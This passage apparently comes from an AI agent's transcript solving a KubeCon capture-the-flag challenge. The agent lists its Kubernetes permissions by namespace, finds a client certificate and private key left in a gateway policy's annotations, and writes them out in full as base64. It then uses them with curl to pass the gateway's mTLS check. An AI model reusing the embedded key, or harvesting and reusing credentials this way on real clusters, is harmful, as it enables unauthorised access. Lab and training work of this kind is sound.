RmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K
158→ creationTimestamp: "2026-03-25T10:51:19Z"
159→ generation: 1
160→ name: enable-mtls
161→ namespace: default
162→ resourceVersion: "1735"
163→ uid: 44e19b5a-3e79-4bc9-b594-eca9b4213517
164→ spec:
165→ targetRef:
166→ group: gateway.networking.k8s.io
167→ kind: Gateway
168→ name: public-gateway
169→ tls:
170→ clientValidation:
171→ caCertificateRefs:
172→ - group: ""
173→ kind: Secret
174→ name: client-ca-secret
175→ status:
176→ ancestors:
177→ - ancestorRef:
178→ group: gateway.networking.k8s.io
179→ kind: Gateway
180→ name: public-gateway
181→ namespace: default
182→ conditions:
183→ - lastTransitionTime: "2026-03-25T10:51:19Z"
184→ message: Policy has been accepted.
185→ observedGeneration: 1
186→ reason: Accepted
187→ status: "True"
188→ type: Accepted
189→ controllerName: gateway.envoyproxy.io/gatewayclass-controller
190→kind: List
191→metadata:
192→ resourceVersion: ""
193→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== ENVOYPROXY ==='
194→[?2004l=== ENVOYPROXY ===
195→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get envoyproxies -A -o yaml 2>&1
196→[?2004lapiVersion: v1
197→items:
198→- apiVersion: gateway.envoyproxy.io/v1alpha1
199→ kind: EnvoyProxy
200→ metadata:
201→ creationTimestamp: "2026-03-25T10:51:19Z"
202→ generation: 1
203→ name: linkerd-enabled-proxy
204→ namespace: default
205→ resourceVersion: "1727"
206→ uid: b799d0e9-e2c8-4cc9-a0f4-d6932f0dd901
207→ spec:
208→ logging:
209→ level:
210→ default: warn
211→ provider:
212→ kubernetes:
213→ envoyDeployment:
214→ pod:
215→ annotations:
216→ config.linkerd.io/default-inbound-policy: all-unauthenticated
217→ linkerd.io/inject: enabled
218→ envoyService:
219→ externalTrafficPolicy: Local
220→ type: NodePort
221→ type: Kubernetes
222→kind: List
223→metadata:
224→ resourceVersion: ""
225→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== PERMS DEFAULT ==='
226→[?2004l=== PERMS DEFAULT ===
227→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n default 2>&1
228→[?2004lResources Non-Resource URLs Resource Names Verbs
229→selfsubjectreviews.authentication.k8s.io [] [] [create]
230→selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
231→selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
232→namespaces [] [] [get watch list]
233→services [] [] [get watch list]
234→clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
235→envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
236→gateways.gateway.networking.k8s.io [] [] [get watch list]
237→ [/.well-known/openid-configuration/] [] [get]
238→ [/.well-known/openid-configuration] [] [get]
239→ [/api/*] [] [get]
240→ [/api] [] [get]
241→ [/apis/*] [] [get]
242→ [/apis] [] [get]
243→ [/healthz] [] [get]
244→ [/healthz] [] [get]
245→ [/livez] [] [get]
246→ [/livez] [] [get]
247→ [/openapi/*] [] [get]
248→ [/openapi] [] [get]
249→ [/openid/v1/jwks/] [] [get]
250→ [/openid/v1/jwks] [] [get]
251→ [/readyz] [] [get]
252→ [/readyz] [] [get]
253→ [/version/] [] [get]
254→ [/version/] [] [get]
255→ [/version] [] [get]
256→ [/version] [] [get]
257→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== PERMS BACKEND ==='
258→[?2004l=== PERMS BACKEND ===
259→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n backend 2>&1
260→[?2004lResources Non-Resource URLs Resource Names Verbs
261→selfsubjectreviews.authentication.k8s.io [] [] [create]
262→selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
263→selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
264→namespaces [] [] [get watch list]
265→services [] [] [get watch list]
266→clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
267→envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
268→gateways.gateway.networking.k8s.io [] [] [get watch list]
269→ [/.well-known/openid-configuration/] [] [get]
270→ [/.well-known/openid-configuration] [] [get]
271→ [/api/*] [] [get]
272→ [/api] [] [get]
273→ [/apis/*] [] [get]
274→ [/apis] [] [get]
275→ [/healthz] [] [get]
276→ [/healthz] [] [get]
277→ [/livez] [] [get]
278→ [/livez] [] [get]
279→ [/openapi/*] [] [get]
280→ [/openapi] [] [get]
281→ [/openid/v1/jwks/] [] [get]
282→ [/openid/v1/jwks] [] [get]
283→ [/readyz] [] [get]
284→ [/readyz] [] [get]
285→ [/version/] [] [get]
286→ [/version/] [] [get]
287→ [/version] [] [get]
288→ [/version] [] [get]
289→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== PERMS PRODUCTION ==='
290→[?2004l=== PERMS PRODUCTION ===
291→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n production 2>&1
292→[?2004lResources Non-Resource URLs Resource Names Verbs
293→pods/exec [] [] [create]
294→selfsubjectreviews.authentication.k8s.io [] [] [create]
295→selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
296→selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
297→pods [] [] [get list watch]
298→namespaces [] [] [get watch list]
299→services [] [] [get watch list]
300→deployments.apps [] [] [get watch list]
301→clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
302→envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
303→gateways.gateway.networking.k8s.io [] [] [get watch list]
304→ [/.well-known/openid-configuration/] [] [get]
305→ [/.well-known/openid-configuration] [] [get]
306→ [/api/*] [] [get]
307→ [/api] [] [get]
308→ [/apis/*] [] [get]
309→ [/apis] [] [get]
310→ [/healthz] [] [get]
311→ [/healthz] [] [get]
312→ [/livez] [] [get]
313→ [/livez] [] [get]
314→ [/openapi/*] [] [get]
315→ [/openapi] [] [get]
316→ [/openid/v1/jwks/] [] [get]
317→ [/openid/v1/jwks] [] [get]
318→ [/readyz] [] [get]
319→ [/readyz] [] [get]
320→ [/version/] [] [get]
321→ [/version/] [] [get]
322→ [/version] [] [get]
323→ [/version] [] [get]
324→pods/log [] [] [get]
325→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== PERMS SUPERSECRET ==='
326→[?2004l=== PERMS SUPERSECRET ===
327→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n supersecret 2>&1
328→[?2004lResources Non-Resource URLs Resource Names Verbs
329→selfsubjectreviews.authentication.k8s.io [] [] [create]
330→selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
331→selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
332→meshtlsauthentications.policy.linkerd.io [] [] [get watch list update patch]
333→namespaces [] [] [get watch list]
334→services [] [] [get watch list]
335→clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
336→envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
337→gateways.gateway.networking.k8s.io [] [] [get watch list]
338→ [/.well-known/openid-configuration/] [] [get]
339→ [/.well-known/openid-configuration] [] [get]
340→ [/api/*] [] [get]
341→ [/api] [] [get]
342→ [/apis/*] [] [get]
343→ [/apis] [] [get]
344→ [/healthz] [] [get]
345→ [/healthz] [] [get]
346→ [/livez] [] [get]
347→ [/livez] [] [get]
348→ [/openapi/*] [] [get]
349→ [/openapi] [] [get]
350→ [/openid/v1/jwks/] [] [get]
351→ [/openid/v1/jwks] [] [get]
352→ [/readyz] [] [get]
353→ [/readyz] [] [get]
354→ [/version/] [] [get]
355→ [/version/] [] [get]
356→ [/version] [] [get]
357→ [/version] [] [get]
358→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== PERMS ENVOY ==='
359→[?2004l=== PERMS ENVOY ===
360→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n envoy-gateway-system 2>&1
361→[?2004lResources Non-Resource URLs Resource Names Verbs
362→selfsubjectreviews.authentication.k8s.io [] [] [create]
363→selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
364→selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
365→namespaces [] [] [get watch list]
366→services [] [] [get watch list]
367→clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
368→envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
369→gateways.gateway.networking.k8s.io [] [] [get watch list]
370→ [/.well-known/openid-configuration/] [] [get]
371→ [/.well-known/openid-configuration] [] [get]
372→ [/api/*] [] [get]
373→ [/api] [] [get]
374→ [/apis/*] [] [get]
375→ [/apis] [] [get]
376→ [/healthz] [] [get]
377→ [/healthz] [] [get]
378→ [/livez] [] [get]
379→ [/livez] [] [get]
380→ [/openapi/*] [] [get]
381→ [/openapi] [] [get]
382→ [/openid/v1/jwks/] [] [get]
383→ [/openid/v1/jwks] [] [get]
384→ [/readyz] [] [get]
385→ [/readyz] [] [get]
386→ [/version/] [] [get]
387→ [/version/] [] [get]
388→ [/version] [] [get]
389→ [/version] [] [get]
390→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== PERMS LINKERD ==='
391→[?2004l=== PERMS LINKERD ===
392→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n linkerd 2>&1
393→[?2004lResources Non-Resource URLs Resource Names Verbs
394→selfsubjectreviews.authentication.k8s.io [] [] [create]
395→selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
396→selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
397→namespaces [] [] [get watch list]
398→services [] [] [get watch list]
399→clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
400→envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
401→gateways.gateway.networking.k8s.io [] [] [get watch list]
402→ [/.well-known/openid-configuration/] [] [get]
403→ [/.well-known/openid-configuration] [] [get]
404→ [/api/*] [] [get]
405→ [/api] [] [get]
406→ [/apis/*] [] [get]
407→ [/apis] [] [get]
408→ [/healthz] [] [get]
409→ [/healthz] [] [get]
410→ [/livez] [] [get]
411→ [/livez] [] [get]
412→ [/openapi/*] [] [get]
413→ [/openapi] [] [get]
414→ [/openid/v1/jwks/] [] [get]
415→ [/openid/v1/jwks] [] [get]
416→ [/readyz] [] [get]
417→ [/readyz] [] [get]
418→ [/version/] [] [get]
419→ [/version/] [] [get]
420→ [/version] [] [get]
421→ [/version] [] [get]
422→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
423→[?2004lexit
424→Connection to 35.179.133.134 closed.
425→Jackpot! The ClientTrafficPolicy has a client certificate and private key stored in its annotations (left by [email protected] with the comment "putting the cert and key here so they don't get lost :)"). Let me use those to access the gateway.
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
# Decode the cert and key from the CTP annotations
echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oKUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' | base64 -d > /tmp/client.key
# Get the gateway IP and curl with client cert
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "Gateway IP: $GWIP"
curl -sk --cert /tmp/client.crt --key /tmp/client.key https://$GWIP 2>&1
exit
SSHEOF_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
# Decode the cert and key from the CTP annotations
echo 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==' | base64 -d > /tmp/client.crt
echo 'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVh